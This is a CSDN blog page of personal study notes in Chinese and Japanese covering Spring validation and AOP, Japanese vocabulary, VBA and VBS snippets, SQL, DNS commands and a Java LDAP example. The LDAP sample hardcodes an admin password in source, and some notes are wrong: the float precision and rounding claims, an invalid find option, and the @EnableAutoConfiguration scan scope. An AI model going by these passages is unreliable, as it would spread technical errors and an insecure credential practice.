@Validated和@Valid区别:Spring validation验证框架对入参实体进行嵌套验证必须在相应属性(字段)加上@Valid而不是@Validated_花郎徒结的博客-CSDN博客_validated
1. 分组
@Validated:提供了一个分组功能,可以在入参验证时,根据不同的分组采用不同的验证机制,这个网上也有资料,不详述。
@Valid:作为标准JSR-303规范,还没有吸收分组的功能。
2. 注解地方
@Validated:可以用在类型、方法和方法参数上。但是不能用在成员属性(字段)上
@Valid:可以用在方法、构造函数、方法参数和成员属性(字段)上
【总结一下】@Validated和@Valid在嵌套验证功能上的区别:
@Validated:
用在方法入参上无法单独提供嵌套验证功能。
不能用在成员属性(字段)上,
也无法提示框架进行嵌套验证。
能配合嵌套验证注解@Valid进行嵌套验证。
@Valid:
用在方法入参上无法单独提供嵌套验证功能。
能够用在成员属性(字段)上,
提示验证框架进行嵌套验证。
能配合嵌套验证注解@Valid进行嵌套验证。
01.@Value("${user.name}") @Value("${project.name:unknown}") // #{expression?:default value}
02.resume [rɪˈzjuːm] n. 摘要;简历 v. 重新开始,恢复;取回,重新占用 // VBA 忽略错误
03.宗旨 しゅうし
04.关于linux的【/var/www/html】 //apache 可以使用
05.〇 漢数字 ○ 記号 // 全部「まる」ですが、異なるの二つ記号です。
06.× Dim sss As String set sss="" ; ○ Dim sss As String sss=""
07.technology 英 [tɛkˈnɒlədʒɪ] n. 技术,科技;技术应用
08.unrestricted 英 [ˌʌnrɪˈstrɪktɪd] adj. 无限制的 // 敏感度标签
09.Confidential [ˌkɒnfɪˈdɛnʃəl] adj. 秘密的;表示信任的;获信任的 // Highly Confidential
10.Restricted 英 [rɪˈstrɪktɪd] adj. 受限制的;被限定的
11.Map.Entry // Map中采用Entry内部类来表示一个映射项,映射项包含Key和Value
// for (Map.Entry
12.Decorator 英 [ˈdɛkəˌreɪtə] 装饰者 // 设计模式 //装饰者(Decorator)和被装饰者(Decoratee)
13.concurrent 英[kənˈkʌrənt] adj.同时发生的; 并存的; // java.util.concurrent.Callable
14.Callable和Future,一个产生结果,一个拿到结果。
15.Variant [ˈveriənt] 变种; 变体; 变形; // Variant 数据类型是所有没被显式声明
16.dim vvv As Variant //① VBA 中的变量 // ②vvv=Range("A1:C3") // ③ss=vvv(1,2) // ②中,可以使用F3中定义的变量
17.DoEvents //VBA // 可以实现sleep功能 // 可以配合sleep使用 (DoEvents \n Sleep 3000) // 效果:让出使用权,使程序在等待是,不是无响应的状态。
18.priority 英 [praɪˈɒrɪtɪ] n. 在先,居前;优先,重点;优先事项
19.performance 英 [pəˈfɔːməns] n. 演出,表演;履行;执行;工作;成绩;成果
20.individual [ˌɪndɪˈvɪdjʊəl] 个人,个体 个别的;个人的;独特的 // XML
21.activity 英 [ækˈtɪvɪtɪ] n. 活动;活动力;行动;活跃
22.@Scope("prototype") // 如果不写,默认是单例
23.任何一个类只要没有成员变量,就是线程安全的
24.amount n. 数量;总额
25.percent [pə'sent] n. 百分比,百分率;部分
26.financial 英 [fɪˈnænʃəl] adj. 财政的,金融的
27.初めて~した 第一次做某事 // 始め~と考えた 最开始XXX考虑
×:初めて、私もXXX不要したいですが、。。
○:始め私も不要と考えましたが、。。
28.sentkeys "%s", true '按下 alt + s 'SendKeys string[, wait] // java 属性就不会被序列化
29.transien 英[ˈtrænziənt] adj. 转瞬即逝的; 短暂的; 倏忽; 暂住的; 过往的; 临时的;
30.specified 英 [ˈspesɪˌfaɪd] adj. 指定的 // @Bean // If left unspecified, the name of the bean is the name of the annotated method.
31.annotated /ˈænəˌteɪtɪd/ adj 已加注解的;已加评注的
32.Join Point:(连接点) Spring AOP中,join point就是一个方法。(通俗来讲就是起作用的那个方法,具体执行的方法)
33.Pointcut:(切入点) 用来指定join point(通俗来讲就是描述的一组符合某个条件的join point)。通常使用pointcut表达式来限定joint point,Spring默认使用AspectJ pointcut expression language。
34.Advice: 在join point上特定的时刻执行的操作,Advice有几种不同类型,下文将会讨论(通俗地来讲就是起作用的内容和时间点)。
35.java中为什么接口不能有静态代码块?
接口中每一个方法也是隐式抽象的,
接口中的方法会被隐式的指定为 public abstract(只能是 public abstract,其他修饰符都会报错)// 1.8 之前是正确的
36.@Import用来导入@Configuration注解的配置类、声明@Bean注解的bean方法、导入ImportSelector的实现类或导入ImportBeanDefinitionRegistrar的实现类。
37.@Import(AspectJAutoProxyRegistrar.class) // @EnableAspectJAutoProxy
===
【Spring中这两个核心思想」都是一种设计模式(工厂,代理)
IoC的思想基于工厂模式
AOP的思想则是基于代理模式。
代理
AOP 实现的关键就在于 AOP 框架自动创建的 AOP 代理,
AOP 代理则可分为静态代理和动态代理两大类,
【静态代理】:JDK静态代理,AspectJ 。
【动态代理】有:jdk动态代理(基于接口来实现)、CGlib(基于类实现)。
・JDK动态代理特点:
代理对象必须实现一个或多个【接口】
以【★接口】形式接收代理实例,而不是代理类
・CGLIB动态代理特点:
代理对象不能被final修饰
以类或接口形式接收代理【★实例】
===
01.しちゃいます
しちゃいます是してしまいます的口语说法
02.raw 英 [rɔː] adj. 生的;自然状态的;原始的,第一手的;质量粗糙的;光秃的;赤裸的 // gitHub 保存文件 // 右键点击这个按钮
03.イレギュラー irregular [ɪˈrɛɡjʊlə] ;不规则,不整齐,不正规。;发生异常
04.Ctrl + Shift + L 查看Eclipse所有快捷键
Eclipse 快捷键 | 菜鸟教程
05.收起 (General --> keys --> Collapse All)
Ctrl + Shift + numpad_divide
numpad_divide (数字小键盘 上的 除号“/”)
06.展开 (General --> keys --> expand All)
Ctrl + Shift + numpad_multiply
numpad_multiply (数字小键盘 上的 乘号“*”)
07.multiply [ˈmʌltɪˌplaɪ] adv. 多样地 v. 乘;成倍增加;繁衍
08.divide 英 [dɪˈvaɪd] v. 分,划分;分配,分享;(使)分开;使对立,分裂;除以
09.numpad 小键盘; 数字键盘; 数字键;
10.エラーハンドリング // エラーの発生を知る
エラーは「想定外の事態になっちゃったよ~」です。
ハンドリングは「捕捉すること」です。
11.handling [ˈhændlɪŋ] 1.触摸;触碰 2.应对;应付;处理
12.捕捉 ほそく
13.臨時 りんじ
14.▲ マイナスの意味 (工数削減:5h⇒ ▲5)
15.操作DB的同一条记录
问:假设有2条update语句同时对一个表中的同一行数据进行更新,【数据库】会怎么处理?
答:会排队,头一个处理完了,第二个才能处理,如果头一个没处理完,第二个就排着。
16.セカンド second // セカンドID作成申請
17.失効 しっこう //1ヶ月ロックインしないと失効します。
18.语法【ではないか。/ではないですか。】 不是...吗? (表示惊奇,责难,确认等情形)
19.人间(にんげん)ドック 体检
20.routine 英 [ruːˈtiːn] n. 例行公事;日常工作;惯例,常规
21.JAVA中float与double的区别
====
float是单精度类型,精度是8位有效数字,取值范围是10的-38次方到10的38次方,float占用4个字节的存储空间
double是双精度类型,精度是17位有效数字,取值范围是10的-308次方到10的308次方,double占用8个字节的存储空间
当你不声明的时候,默认小数都用double来表示,所以如果要用float的话,则应该在其后加上f
例如:float a=1.3;
则会提示不能将double转化成float 这成为窄型转化
如果要用float来修饰的话,则应该使用float a=1.3f
注意float是8位有效数字,第7位数字将会产生四舍五入
所以如果一个float变量 这样定义: float a=1.32344435; 则第7位将产生四舍五入(5及5以下的都将舍去)
====
22.java switch 不加 break 继续执行 下一个case(不用匹配条件)
====
原因:
在java Switch-Case 语句中一旦匹配case条件,就会顺序执行后面的程序代码,而不管后面的case是否匹配,直到遇见break或者switch结束。
====
23.気づいた // 気づく 1.注意到,察觉,意识到,认识到。 // 自分の誤りに気づく // 认识到自己的错误。
24.win10 关闭 右下角 资讯和新闻功能更
===
1、鼠标右键任务栏,会弹出一个框框,我们在里面找到资讯和兴趣。
2、鼠标悬停在这一栏,我们就可以看到相关的设置关闭功能了。
25.factor // n. 因素;因数;代理人 ; 倍数 // The ticket price has increased by a factor of four. // 票价已经涨了四倍。
26.cube 英[kjuːb] // 立方体; 立方形; 立方形的东西(尤指食物); 立方; 三次幂; // 主机机箱
27.mysql时间format
===
select FROM_UNIXTIME(1344887103,'%Y-%M-%D %h:%i:%s');
2012-August-14th 03:45:03
===
28.突合 とつごう 比照调查,对比调查。(突き合わせて調べること。)
29.補助 ほじょ // 補助ツール
30.にいれないほうがいい // 最好不要放在里面
31.optimize [ˈɒptɪˌmaɪz] // v. 使最优化,充分利用
32.平行 へいこう
33.並行 へいこう // 並行案件
34.考试
考试 45分钟
35道题
600分
360分过
35.預金 よきん 存款
36.ローン 贷款 (loan)
37.返済 へんさい 偿还,还债,还款。 返済額
38.見た目 // みため // 看来,看起来,外观,外表。 // 从外表看上去。
39.外 そと // 相对于里的外边,外面〔外側、外面、外部〕
40.自宅 じたく
41.座席 // ざせき // 座席移動
42.Workbook_beforeSave // VBA 保存前处理
Private Sub Workbook_BeforeSave(ByVal SaveAsUI As Boolean, Cancel As Boolean)
If Len(Worksheets("SheetName1").Range("A1")) = 0 Then
MsgBox "A1 Is Null", vbExclamation + vbOKOnly ’A1空的话,提示
Cancel = True ’不保存
End If
End Sub
43.配列 はいれつ 数组
44.windows聚焦 图片保存位置(需要自己把后缀改为png)
C:\Users\userName\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\Assets
45.windows聚焦 不显示图片的说明文字(无法解决,但是删除后,可以换一张图片)
C:\Users\userName\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\Settings
roaming.lock
settings.dat
46.退縮 たいしゅく
縮退運転とは|「分かりそう」で「分からない」でも「分かった」気になれるIT用語辞典
これをコンピュータの世界でやるのが「縮退運転(シュクタイウンテン)」です。
(コンピュータの世界における「えっ?風邪引いてるの?それなら今日は、外回りはしなくていいし定時で帰っていいよ」のこと。)
1.問題が発生した際に
2.無理をさせない代わりに
3.休ませないで仕事を続けさせる
縮退運転とは|「分かりそう」で「分からない」でも「分かった」気になれるIT用語辞典
47.appearnce 外貌(外観)// Eclipse // 字体大小设置
48.compile [kəmˈpaɪl] 汇编,编制;编译 // java pattern 正则
49.professional的缩写,意味专业的。
50.product 产品;产物;结果;乘积;生成物 // yml pro 生产环境
51.destination 英 [ˌdɛstɪˈneɪʃən] n. 目标;目的地;终点
52.Anti 英 [ˈæntɪ] n. 反对者;持反对论者
53.virus 英 [ˈvaɪrəs] n. 病毒,滤过性微生物,毒害,恶毒;电脑病毒;疾病
54.スケールアウト(英:scale out)とは【システムとかの性能を上げる際のやり方のひとつ】
55.scale 英[skeɪl] // n. 天平;磅秤;鳞;鳞片;刻度;级别;比例;规模
56.出荷 しゅっか 发货,装载货物;上市,出货,将商品推向市场。
57.コントロールパネル // Windowsの管理系機能の一覧画面
58.SCALAR SUB-QUERY语法
(SQL允许子查询出现在返回单个值的表达式能够出现的任何地方,只要该子查询只返回包含单个属性的单个元组;
这样的子查询称为标量子查询(scalar subquery))
SELECT列表中的标量子查询 - 我俩绝配 - 博客园
59.scalar n. 数量,标量 (adj. 数量的,分等级的,梯状的,标量的)
60.having // SQL 即在分组之后过滤数据,条件中经常包含聚组函数,使用having 条件显示特定的组,也可以使用多个分组标准进行分组。
SQL Having的用法_青鸟飞鱼-CSDN博客_having sql
现在,我们希望查找订单总金额少于 2000 的客户。
我们使用如下 SQL 语句:
SELECT Customer,SUM(OrderPrice) FROM Orders
GROUP BY Customer
HAVING SUM(OrderPrice)<2000
01.gitbash 汉字乱码解决
Git Bash终端中文输出显示乱码解决方案 - lybingyu - 博客园
step1.
git config --global core.quotepath false
step2.右键选择【Options】
在【Options】中选择【Text】
02.negative 英 [ˈnɛɡətɪv] 否定,拒绝;负数 // negative integer // java comparator
03.positive 英 [ˈpɒzɪtɪv] n. 正数;正面;阳极;实在的事物 // positive integer // java comparator
04.defect 英 [dɪˈfɛkt] n. 缺点,过失,缺陷 // 不備
05.MessageSource // Spring
public static void main(String[] args) {
MessageSource resources = new ClassPathXmlApplicationContext("beans.xml");
// String message = resources.getMessage(key, args, "DefaultMessage", Locale.ENGLISH);
String message = resources.getMessage(key, args, Locale.ENGLISH);
System.out.println(message);
}
// Local local = LocalContextHolder.getLocal();
配置类中
===
@Bean
public ResourceBundleMessageSource messageSource() {
ResourceBundleMessageSource messageSource = new ResourceBundleMessageSource();
messageSource.setBasename("messages");
messageSource.setDefaultEncoding("UTF-8");
return messageSource ;
}
如果配置, 上面的main方法中,不需要new,可以直接注入使用。
===
// MessageSource是一个接口
// ResourceBundleMessageSource是最常见的MessageSource实现,它解决来自不同语言环境的资源包的消息。
==================
Core Technologies
==================
06./etc/hosts // DNS
07.JUnit+Mockito单元测试之打桩when().thenReturn();
JUnit+Mockito单元测试之打桩when().thenReturn();_★【World Of Moshow 郑锴】★-CSDN博客_thenreturn
08.ArgumentMatcher // Junit (Mockito对象方法)when
单元测试框架——Mockito之Argument Matcher_浮煌的博客-CSDN博客
09.笔记本当机箱使用。
WIN10笔记本合盖外接显示器,如何设置合上盖显示器能亮? - 知乎
10.Maven 显示DebugLog【-X】 显示详细错误信息【-e】
mvn -e -X clean package 。。。
11.構いません。 かまいません。 // 没有关系
12.初版 しょはん
13.目指す 以...为目标。
没有指什么的意思。 【错误理解 ⇒ 】 AAAは何にかを目指すですか。 AAA指的是什么。 完全没有这种意思!!!!
【正确使用】 「最高峰を目指す。 朝着最高峰。」 「頂上を目指して登る 以山顶为目标向上攀登。」
14.非機能要件
システムの可用性、性能、セキュリティ、ユーザービリティ、運用
15.【性能】
レスポンス、バッチ実行時間、スループット(吞吐量 through put)
16.スループット 吞吐量 through put
コンピューター,あるいは通信装置の処理能力をはかる評価指標の一つ。処理量。
(计算机)吞吐量。总处理能力。
17.inStr() // VBA
函数返回一个字符串第一次出现在一个字符串,从左到右搜索。返回搜索到的字符索引位置。
InStr([start,]string1,string2[,compare])
Start - 一个可选参数。指定搜索的起始位置。搜索从第一个位置开始,从左到右。
String1 - 必需的参数。要搜索的字符串。
String2 - 必需的参数。要在String1中搜索的字符串。
Compare - 一个可选参数。指定要使用的字符串比较。它可以采取以下提到的值:
0 = vbBinaryCompare - 执行二进制比较(默认)
1 = vbTextCompare - 执行文本比较
18.springboot系列 @ComponentScan和@EnableAutoConfiguration的区别
springboot系列 @ComponentScan和@EnableAutoConfiguration的区别_屌丝程序员的奋斗之路-CSDN博客
它们扫描的范围是不一样的。
@ComponentScan扫描的范围默认是它所在的包以及子包中所有带有注解的对象
@EnableAutoConfiguration扫描的范围默认是它所在类。
它们作用的对象不一样
@EnableAutoConfiguration除了扫描本类带有的注解外,
还会 借助@Import的支持,收集和注册依赖包中相关的bean定义,将这些bean注入到ioc容器中
在springboot中注入的bean有两部分组成,
一部分是自己在代码中写的标注有@Controller,@service,@Respority等注解的业务bean,这一部分bean就由@ComponentScan将它们加入到ioc容器中。
还有一部分是springboot自带的相关bean,可以将这部分bean看成是工具bean,这部分bean就是由@EnableAutoConfiguration负责加入到容器中。
它们在,可否单独启动Springboot上,不一样
@EnableAutoConfiguration可以单独启动springboot项目,而@ComponentScan是不能的。
19.@Import
@Import只能用在类上 ,@Import通过快速导入的方式实现把实例加入spring的IOC容器中
spring注解之@Import注解的三种使用方式 - 宜春 - 博客园 (cnblogs.com)
20.FactoryBean // 加入IOC容器的方法(DI注册方式),除此外,还有@Bean @ComponentScan @import
十分钟快速教你理解Spring中的FactoryBean接口 - 知乎
21.motivates 激励
============
23.スケールアウト
增加 服务器 数量( 相关术语 集群 负载平衡)
24.スケールアップ
システムとかの性能を上げる際のやり方のひとつ
「こいつのこの部品だけど、もっと性能が良いやつに換えようか」のように、お仕事をする機器自体の性能を上げることで全体の性能を上げるやり方」
25.ロードバランのサーバで、 証明書インストール不要 (SSH通信時)
26.机上 きじょう 机上検証
27.砕け くだけ
28.チャレンジ challenge ;挑战
29.FQDN FQDN:(Fully Qualified Domain Name)全限定域名:
FQDN 是什么_ez scope-CSDN博客_fqdn
举个例子,一个公司申请了域名comp.com,
这时候有一台主机名为web,则可以使用web.comp.com得到这个主机IP。
若还有两台提供邮件和OA服务的主机cmail,oa,
则这时候可以用以下FQDN:
cmail.comp.com
oa.comp.com
30.OSI モジュール一 // OSI七层协议
31.DC Data Center
32.ハイブリッド 混合(之前整理过)
33.満たせる
34.新設 しんせつ
35.証明書インストー
36.
37.
38.
39.
40.
============
01.VBS脚本(通过 HTML DOM)自动操作网页
VBS脚本和HTML DOM自动操作网页 - 吃饭了吗 - 博客园
02.Spring Expression ・Evaluation
Core Technologies
03.Spring Event
Spring中的事件讲解(Application Event) - 上善若泪 - 博客园
04.SQL 【 in 】 【 exists】
SQL语句中exists和in的区别 - 白白的白浅 - 博客园
05.SSL // HTTPS HTTP + SSL // Port 443
SSL是传输层之上,对Socket连接的加密协议。
SSL多用于Internet上,在浏览器和服务器之间的安全传输
06.SSH // Port 22
Secure SHell
SSH是应用层的通信加密协议,往往用于远程登录的会话。
07.Stream.reduce // 传入两个参数,返回一个参数。 (传入和返回参数类型都相同)
08.TIF合并
Index of /com/sun/media/jai-codec/1.1.3
09.シークレット // 【英】secret ;秘密,机密;内部的事,秘密事。 // Chrome
10.find // Linxu
# 查找一天之内的文件。(会显示./)
find ./ -maxdepth -1 -mtime -1
# 查找一天之内的文件。(不会显示./)
find ./* -maxdepth -1 -mtime -1
11.htmlDocument // VBS
AutoSetting()
Function AutoSetting()
msgbox "111"
' get Operate window
Dim objPage
Set objPage = GetObj()
msgbox "222"
Dim entry
Set entry = objPage.document.getElementById("kw")
msgbox "333"
entry.Focus
entry.Value = "abc"
' when element no Id and Name , Use this
Dim objs
Set objs = objPage.document.getElementsByTagName("button")
If objs Is Nothing then
MsgBox "No Page Opened"
WScript.Quit
End IF
For Each obj In objs
If obj.innerText = "百度一下" Then
obj.Focus
obj.Click
'obj.Value
WScript.Sleep(70)
Set obj = Nothing
Exit For
End If
Next
End Function
Function GetObj()
Dim objWindow
Set objShell = CreateObject("Shell.Application")
For Each objWindow In objShell.Windows
If InStr(objWindow.LocationName,"百度一下,你就知道") Then
' Wait the page load completed
Do Until objWindow.document.ReadyState = "complete"
WScript.Sleep(70)
Loop
' set the return Object
Msgbox "Find"
Set GetObj= objWindow
' clear var
Set objShell = Nothing
Exit Function
End If
Next
' when Not Find
Msgbox "Not Find"
Set objShell = Nothing
Set GetObj= Nothing
End Function
不可以,按钮只能是确定、取消、是、否、重试、放弃等。
如果想要自定义按钮,那就自己做一个窗体吧,然后用Show vbModal方式显示。
代码如下:
' UserFore1 是你建立的窗口的名字
UserForm1.Show vbModal
Msgbox详细说明
vba-msgbox用法详解_vba_cpp的博客-CSDN博客_vba的msgbox用法
---
---
---
---
代码
Private Sub CommandButton1_Click()
Dim i As Integer
i = MsgBox("Hello", 1, "My Title")
If i = 1 Then
MsgBox "确认 Click"
Else
MsgBox "取消 Click"
End If
End Sub
---
13.VBA Form 关闭 Form
' UserFore1 是你建立的窗口的名字
Unload UserForm1
14.prompt 英 [prɒmpt] v. 提示;激起,唤起 プロンプト // VBA msgbox prompt
15.扩展程序(拡張機能)
chrome://extensions/
16.加载已解压的扩展程序(ペッケージ化されない拡張機能を読み込む)
17.とは言えない/とも言えない/とは限らない/とも限らない (未必…)(不一定…)(也不见得…)
田舎より都市のほうがいいとも言えない。(城市也不见得就比乡下好。)
18.Chrome 使用不同session
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --user-data-dir="C:\Users\Administrator\Google\SystemA\dev1
19.積集合 せきしゅうごう
20. retain [rɪˈteɪn] v. 保持;保存;记住;雇用 // Set 获取交集 // Java 保留字
Set result = new HashSet();
result.clear();
result.addAll(set1);
result.retainAll(set2);
System.out.println("交集:" + result);
21.DNS // Domain Name System
ipconfig/all然后按Enter键确认即可显示Windows IP配置,在这里我们可以查看我们的DNS服务器地址。
22.查看・清空DNS 缓存
ipconfig /displaydns #显示本地缓存dns内容
ipconfig /flushdns #清除本地缓存dns内容
23.LDAP server连接
new InitialLdapContext(HashTable, Control[]);
↓ 【InitialLdapContext】的使用
java如何调用ldap协议【LdapContext】_测试与交流的技术博客_51CTO博客
--
SECURITY_PRINCIPAL
Java验证Ldap账号和读取Ldap中所有用户_aliaichidantong的博客-CSDN博客_ldap获取所有用户信息
--
public class LDAPAuthentication{
private final String URL = "ldap://192.168.1.205:389/";
private final String BASEDN = "cn=demo1,dc=sys,dc=com"; // 根据自己情况进行修改
private final String FACTORY = "com.sun.jndi.ldap.LdapCtxFactory";
private LdapContext ctx = null;
private final Control[] connCtls = null;
private void LDAP_connect() {
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, FACTORY);
env.put(Context.PROVIDER_URL, URL + BASEDN);
env.put(Context.SECURITY_AUTHENTICATION, "simple");
String root = "cn=demo1,dc=sys,dc=com"; // 根,根据自己情况修改
env.put(Context.SECURITY_PRINCIPAL, root); // 管理员
env.put(Context.SECURITY_CREDENTIALS, "123456"); // 管理员密码
try {
ctx = new InitialLdapContext(env, connCtls);
System.out.println( "认证成功" );
System.out.println(ctx);
} catch (javax.naming.AuthenticationException e) {
System.out.println("认证失败:");
e.printStackTrace();
} catch (Exception e) {
System.out.println("认证出错:");
e.printStackTrace();
}
if (ctx != null) {
try {
ctx.close();
}
catch (NamingException e) {
e.printStackTrace();
}
}
}
}
--
24.やじるし 矢印 箭头 → や 矢
25.マッピング // 不是 メ
26.
27.
28.
29.
30.
01.しちゃいます // 是してしまいます的口语说法
02.raw 英 [rɔː] adj. 生的;自然状态的;原始的,第一手的;质量粗糙的;光秃的;赤裸的 // gitHub 保存文件 // 右键点击这个按钮
03.イレギュラー irregular [ɪˈrɛɡjʊlə] ;不规则,不整齐,不正规。;发生异常
04.Ctrl + Shift + L 查看Eclipse所有快捷键
05.收起 Ctrl + Shift + numpad_divide
06.展开 Ctrl + Shift + numpad_multiply
07.multiply [ˈmʌltɪˌplaɪ] adv. 多样地 v. 乘;成倍增加;繁衍
08.divide 英 [dɪˈvaɪd] v. 分,划分;分配,分享;(使)分开;使对立,分裂;除以
09.numpad 小键盘; 数字键盘; 数字键;
10.エラーハンドリング // エラーの発生を知る // エラーは「想定外の事態になっちゃったよ~」です。 // ハンドリングは「捕捉すること」です。
11.handling [ˈhændlɪŋ] 1.触摸;触碰 2.应对;应付;处理
12.捕捉 ほそく
13.臨時 りんじ
14.▲ マイナスの意味 (工数削減:5h⇒ ▲5)
15.失効 しっこう //1ヶ月ロックインしないと失効します。
16.语法【ではないか。/ではないですか。】 不是...吗? (表示惊奇,责难,确认等情形)
17.人间(にんげん)ドック 体检
18.routine 英 [ruːˈtiːn] n. 例行公事;日常工作;惯例,常规
19.java switch 不加 break 继续执行 下一个case(不用匹配条件)
20.気づいた // 気づく 1.注意到,察觉,意识到,认识到。 // 自分の誤りに気づく // 认识到自己的错误
21.factor // n. 因素;因数;代理人 ; 倍数 // The ticket price has increased by a factor of four. // 票价已经涨了四倍。
22.cube 英[kjuːb] // 立方体; 立方形; 立方形的东西(尤指食物); 立方; 三次幂; // 主机机箱
23.mysql时间format // select FROM_UNIXTIME(1344887103,'%Y-%M-%D %h:%i:%s');
24.突合 とつごう 比照调查,对比调查。(突き合わせて調べること。)
25.補助 ほじょ // 補助ツール
26.optimize [ˈɒptɪˌmaɪz] // v. 使最优化,充分利用
27.平行 へいこう
28.並行 へいこう // 並行案件
29.預金 よきん 存款
30.ローン 贷款 (loan)
31.返済 へんさい 偿还,还债,还款。 返済額
32.見た目 // みため // 看来,看起来,外观,外表。 // 从外表看上去。
33.外 そと // 相对于里的外边,外面〔外側、外面、外部〕
34.自宅 じたく
35.座席 // ざせき // 座席移動
36.配列 はいれつ 数组
37.退縮 たいしゅく // コンピュータの世界における「えっ?風邪引いてるの?それなら今日は、外回りはしなくていいし定時で帰っていいよ」のこと。
38.appearnce 外貌(外観)// Eclipse // 字体大小设置
39.compile [kəmˈpaɪl] 汇编,编制;编译 // java pattern 正则
40.professional的缩写,意味专业的。
41.product 产品;产物;结果;乘积;生成物 // yml pro 生产环境
42.destination 英 [ˌdɛstɪˈneɪʃən] n. 目标;目的地;终点
43.Anti 英 [ˈæntɪ] n. 反对者;持反对论者
44.virus 英 [ˈvaɪrəs] n. 病毒,滤过性微生物,毒害,恶毒;电脑病毒;疾病
45.スケールアウト(英:scale out)とは【システムとかの性能を上げる際のやり方のひとつ】
46.scale 英[skeɪl] // n. 天平;磅秤;鳞;鳞片;刻度;级别;比例;规模
47.出荷 しゅっか 发货,装载货物;上市,出货,将商品推向市场。
48.コントロールパネル // Windowsの管理系機能の一覧画面
49.scalar n. 数量,标量 (adj. 数量的,分等级的,梯状的,标量的)
50.negative 英 [ˈnɛɡətɪv] 否定,拒绝;负数 // negative integer // java comparator
51.positive 英 [ˈpɒzɪtɪv] n. 正数;正面;阳极;实在的事物 // positive integer // java comparator
52.defect 英 [dɪˈfɛkt] n. 缺点,过失,缺陷 // 不備
53.MessageSource // Spring
54./etc/hosts // DNS
55.DNS // Domain Name System
56.查看・清空DNS 缓存 // ipconfig /displaydns #显示本地缓存dns内容
57.LDAP server连接 // Java // new InitialLdapContext(HashTable, Control[]);
58.JUnit+Mockito单元测试之打桩when().thenReturn();
59.ArgumentMatcher // Junit (Mockito对象方法)when
60.Maven 显示DebugLog【-X】 显示详细错误信息【-e】
61.構いません。 かまいません。 // 没有关系
62.初版 しょはん
63.目指す 以...为目标。// 没有指什么的意思。 【错误理解 ⇒ 】 AAAは何にかを目指すですか。 AAA指的是什么。 完全没有这种意思!!!!
64.スループット 吞吐量 through put
65.@Import只能用在类上 ,@Import通过快速导入的方式实现把实例加入spring的IOC容器中
66..FactoryBean // 加入IOC容器的方法(DI注册方式),除此外,还有@Bean @ComponentScan @import
67.motivates 激励
68.スケールアウト // 增加 服务器 数量( 相关术语 集群 负载平衡)
69.スケールアップ // システムとかの性能を上げる際のやり方のひとつ
70.ロードバランのサーバで、 証明書インストール不要 (SSH通信時)
71.机上 きじょう 机上検証
72.砕け くだけ
73.チャレンジ challenge ;挑战
74.OSI モジュール一 // OSI七层协议
75.DC Data Center
76.ハイブリッド 混合(之前整理过)
77.SSL // HTTPS HTTP + SSL // Port 443
78.SSH // Port 22
79.Stream.reduce // 传入两个参数,返回一个参数。 (传入和返回参数类型都相同)
80.シークレット // 【英】secret ;秘密,机密;内部的事,秘密事。 // Chrome
81.prompt 英 [prɒmpt] v. 提示;激起,唤起 プロンプト // VBA msgbox prompt
82.扩展程序(拡張機能)
83.加载已解压的扩展程序(ペッケージ化されない拡張機能を読み込む)
84.とは言えない/とも言えない/とは限らない/とも限らない (未必…)(不一定…)(也不见得…)
85.積集合 せきしゅうごう
86.retain [rɪˈteɪn] v. 保持;保存;记住;雇用 // Set 获取交集 // Java 保留字
87.LDAP server连接 // Java // new InitialLdapContext(HashTable, Control[]);
88.やじるし 矢印 箭头 → や 矢
89.マッピング // 不是 メ
01.打印机(Canon IP1180)支持的墨盒型号
不支持 835
02.
03.
04.
05.
06.
07.
08.
09.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.